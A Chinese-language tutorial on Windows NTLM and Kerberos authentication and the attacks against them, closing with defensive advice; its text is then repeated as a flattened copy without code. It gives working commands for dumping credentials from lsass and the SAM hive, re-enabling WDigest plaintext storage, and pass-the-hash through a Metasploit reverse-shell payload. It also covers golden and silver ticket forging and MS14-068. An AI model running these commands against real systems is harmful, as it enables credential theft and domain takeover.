浅谈Windows身份认证及相关攻击方式
字数 2532 2025-08-26 22:11:56

Windows身份认证机制及攻击方式详解

1. Windows身份认证机制概述

Windows系统主要使用两种身份认证机制:

  • NTLM:主要用于本地认证和工作组环境
  • Kerberos:域环境中的首选认证协议

早期Windows系统(Windows 2000之前)还使用过LM认证,但由于其加密算法脆弱,已被淘汰。

2. NTLM认证机制

2.1 NTLM Hash生成

NTLM认证的核心是NTLM Hash,其生成过程如下:

  1. 明文密码 → 十六进制编码
  2. 十六进制编码 → Unicode转换
  3. Unicode字符串 → MD4加密
  4. 得到NTLM Hash

示例

admin 
→ hex(61646d696e) 
→ Unicode(610064006d0069006e00) 
→ MD4(209c6174da490caeb422f3fa5a7ae634)

2.2 本地认证流程

  1. 用户操作触发认证(登录/重启等)
  2. winlogon.exe接收用户密码
  3. 密码传送给lsass.exe进程
  4. lsass.exe:
    • 内存中存储明文密码
    • 将明文密码加密为NTLM Hash
    • 与SAM数据库中的NTLM Hash比对
  5. 匹配则认证通过

2.3 网络认证流程(挑战/响应机制)

工作组环境

  1. 客户端发送用户名等信息给服务端
  2. 服务端生成16位随机Challenge并存储
  3. 服务端将Challenge返回给客户端
  4. 客户端使用用户NTLM Hash加密Challenge生成Response(Net NTLM Hash)
  5. 客户端将Response发送给服务端
  6. 服务端使用存储的NTLM Hash加密Challenge,与接收的Response比对
  7. 匹配则认证通过

域环境
与工作组环境类似,但最终验证在域控(DC)完成

2.4 NTLM的缺陷

  • 认证过程中只使用NTLM Hash,不需明文密码
  • 攻击者获取NTLM Hash后可直接冒充用户
  • 导致Pass The Hash(哈希传递)攻击

3. Kerberos认证机制

Kerberos是基于票据(Ticket)的认证方式,关键组件:

  • KDC(Key Distribution Center):密钥分发中心
  • KAS(Kerberos Authentication Service):认证服务
  • TGT(Ticket Granting Ticket):认购权证
  • TGS(Ticket Granting Service):票据授予服务
  • ST(Service Ticket):服务票据

3.1 获取TGT流程

  1. 用户登录时发送用户名和密码加密的Authenticator给KDC
  2. KDC使用用户密码解密Authenticator验证身份
  3. 验证通过后:
    • 生成用户密码加密的Logon Session Key
    • 生成包含用户信息和原始Logon Session Key的TGT
    • 使用KDC密钥(krbtgt用户密钥)加密TGT
  4. 将加密的Logon Session Key和加密TGT返回客户端
  5. 客户端解密得到原始Logon Session Key并缓存

3.2 获取ST流程

  1. 客户端向TGS请求ST,包含:
    • 用户名
    • Logon Session Key加密的Authenticator
    • 请求访问的服务名
    • TGT
  2. TGS使用krbtgt密钥解密TGT得到用户信息和Logon Session Key
  3. 使用Logon Session Key解密Authenticator验证身份
  4. 验证通过后:
    • 生成Logon Session Key加密的Service Session Key
    • 生成包含用户信息和原始Logon Session Key的ST
  5. 将Service Session Key和ST返回客户端

3.3 Kerberos的缺陷

  • 完全依赖KDC密钥(krbtgt用户密钥)
  • 获取krbtgt账号hash可访问所有Kerberos认证服务
  • 导致Pass The Ticket(票据传递)攻击

4. Hash抓取技术

4.1 WCE(Windows Credentials Editor)

  • 抓取LM Hash和NTLM Hash
  • 需要administrator权限
  • 易被杀软检测
wce.exe -lv

4.2 QuarkPwDump

  • 导出用户LM Hash和NTLM Hash
  • 检测率相对较低
QuarkPwDump.exe -dhl

4.3 注册表导出分析

  1. 导出注册表(需要system权限):
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
  1. 使用mimikatz分析:
lsadump::sam /system:system.hive /sam:sam.hive

4.4 Mimikatz

  • 抓取lsass.exe进程内存中的明文密码
  • 需要administrator及以上权限
privilege::debug
sekurlsa::logonpasswords

4.5 ProcDump导出分析

  • 微软官方工具,免杀性好
  • 需要administrator及以上权限
  1. 导出lsass进程:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
  1. 使用mimikatz分析:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

4.6 SharpDump

  • C#编写的工具
  • 检测率较低
  • 需要administrator及以上权限
  1. 执行SharpDump生成dump文件
  2. 修改扩展名为.gz并解压
  3. 使用mimikatz分析

注意:Windows Server 2012 R2以上默认不保存明文密码,可通过修改注册表启用:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后重启系统。

5. Hash传递攻击(Pass-The-Hash)

5.1 原理

利用NTLM Hash直接完成认证流程,无需破解明文密码。

5.2 MSF实现

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击者IP>
set RHOST <目标IP>
set SMBUser administrator
set SMBPass <LM Hash>:<NTLM Hash>
exploit

5.3 Mimikatz实现

工作组环境

privilege::debug
sekurlsa::pth /user:<用户名> /domain:<远程服务器地址> /ntlm:<NTLM Hash>

域环境

privilege::debug
sekurlsa::pth /user:<域管理员名> /domain:<所属域名称> /ntlm:<域管NTLM Hash>

6. 票据传递攻击(Pass-The-Ticket)

6.1 黄金票据(Golden Ticket)

  • 伪造TGT
  • 直接提升为域管权限
  • 需要krbtgt账户的hash和sid

MS14-068漏洞利用

  1. 普通域用户执行:
MS14-068.exe -u <用户名>@<所属域名称> -s <用户sid> -d <域控地址> -p <用户密码>
  1. 使用mimikatz导入票据:
kerberos::ptc TGT_<用户名>@<域名>.ccache

Mimikatz生成

kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt sid> /krbtgt:<krbtgt NTLM Hash> /ptt

或生成文件后导入:

kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt sid> /krbtgt:<krbtgt NTLM Hash>
kerberos:ptt ticket.kirbi

6.2 白银票据(Silver Ticket)

  • 伪造ST
  • 只能访问指定服务
  • 不经过DC直接交互
  • 需要目标服务账户的NTLM Hash和sid

Mimikatz生成

kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器FQDN> /service:<服务名> /rc4:<服务账户NTLM Hash> /user:<伪造用户> /ptt

7. 防御建议

  1. 及时安装安全补丁(如KB2871997、KB2928120、KB3011780)
  2. 限制本地管理员权限
  3. 启用Credential Guard
  4. 监控lsass.exe进程异常访问
  5. 定期更换krbtgt账户密码
  6. 实施最小权限原则
  7. 启用NTLMv2并禁用LM/NTLMv1
  8. 监控异常Kerberos票据请求
Windows身份认证机制及攻击方式详解 1. Windows身份认证机制概述 Windows系统主要使用两种身份认证机制: NTLM :主要用于本地认证和工作组环境 Kerberos :域环境中的首选认证协议 早期Windows系统(Windows 2000之前)还使用过 LM 认证,但由于其加密算法脆弱,已被淘汰。 2. NTLM认证机制 2.1 NTLM Hash生成 NTLM认证的核心是NTLM Hash,其生成过程如下: 明文密码 → 十六进制编码 十六进制编码 → Unicode转换 Unicode字符串 → MD4加密 得到NTLM Hash 示例 : 2.2 本地认证流程 用户操作触发认证(登录/重启等) winlogon.exe接收用户密码 密码传送给lsass.exe进程 lsass.exe: 内存中存储明文密码 将明文密码加密为NTLM Hash 与SAM数据库中的NTLM Hash比对 匹配则认证通过 2.3 网络认证流程(挑战/响应机制) 工作组环境 : 客户端发送用户名等信息给服务端 服务端生成16位随机Challenge并存储 服务端将Challenge返回给客户端 客户端使用用户NTLM Hash加密Challenge生成Response(Net NTLM Hash) 客户端将Response发送给服务端 服务端使用存储的NTLM Hash加密Challenge,与接收的Response比对 匹配则认证通过 域环境 : 与工作组环境类似,但最终验证在域控(DC)完成 2.4 NTLM的缺陷 认证过程中只使用NTLM Hash,不需明文密码 攻击者获取NTLM Hash后可直接冒充用户 导致 Pass The Hash (哈希传递)攻击 3. Kerberos认证机制 Kerberos是基于票据(Ticket)的认证方式,关键组件: KDC (Key Distribution Center):密钥分发中心 KAS (Kerberos Authentication Service):认证服务 TGT (Ticket Granting Ticket):认购权证 TGS (Ticket Granting Service):票据授予服务 ST (Service Ticket):服务票据 3.1 获取TGT流程 用户登录时发送用户名和密码加密的Authenticator给KDC KDC使用用户密码解密Authenticator验证身份 验证通过后: 生成用户密码加密的Logon Session Key 生成包含用户信息和原始Logon Session Key的TGT 使用KDC密钥(krbtgt用户密钥)加密TGT 将加密的Logon Session Key和加密TGT返回客户端 客户端解密得到原始Logon Session Key并缓存 3.2 获取ST流程 客户端向TGS请求ST,包含: 用户名 Logon Session Key加密的Authenticator 请求访问的服务名 TGT TGS使用krbtgt密钥解密TGT得到用户信息和Logon Session Key 使用Logon Session Key解密Authenticator验证身份 验证通过后: 生成Logon Session Key加密的Service Session Key 生成包含用户信息和原始Logon Session Key的ST 将Service Session Key和ST返回客户端 3.3 Kerberos的缺陷 完全依赖KDC密钥(krbtgt用户密钥) 获取krbtgt账号hash可访问所有Kerberos认证服务 导致 Pass The Ticket (票据传递)攻击 4. Hash抓取技术 4.1 WCE(Windows Credentials Editor) 抓取LM Hash和NTLM Hash 需要administrator权限 易被杀软检测 4.2 QuarkPwDump 导出用户LM Hash和NTLM Hash 检测率相对较低 4.3 注册表导出分析 导出注册表(需要system权限): 使用mimikatz分析: 4.4 Mimikatz 抓取lsass.exe进程内存中的明文密码 需要administrator及以上权限 4.5 ProcDump导出分析 微软官方工具,免杀性好 需要administrator及以上权限 导出lsass进程: 使用mimikatz分析: 4.6 SharpDump C#编写的工具 检测率较低 需要administrator及以上权限 执行SharpDump生成dump文件 修改扩展名为.gz并解压 使用mimikatz分析 注意 :Windows Server 2012 R2以上默认不保存明文密码,可通过修改注册表启用: 然后重启系统。 5. Hash传递攻击(Pass-The-Hash) 5.1 原理 利用NTLM Hash直接完成认证流程,无需破解明文密码。 5.2 MSF实现 5.3 Mimikatz实现 工作组环境 : 域环境 : 6. 票据传递攻击(Pass-The-Ticket) 6.1 黄金票据(Golden Ticket) 伪造TGT 直接提升为域管权限 需要krbtgt账户的hash和sid MS14-068漏洞利用 : 普通域用户执行: 使用mimikatz导入票据: Mimikatz生成 : 或生成文件后导入: 6.2 白银票据(Silver Ticket) 伪造ST 只能访问指定服务 不经过DC直接交互 需要目标服务账户的NTLM Hash和sid Mimikatz生成 : 7. 防御建议 及时安装安全补丁(如KB2871997、KB2928120、KB3011780) 限制本地管理员权限 启用Credential Guard 监控lsass.exe进程异常访问 定期更换krbtgt账户密码 实施最小权限原则 启用NTLMv2并禁用LM/NTLMv1 监控异常Kerberos票据请求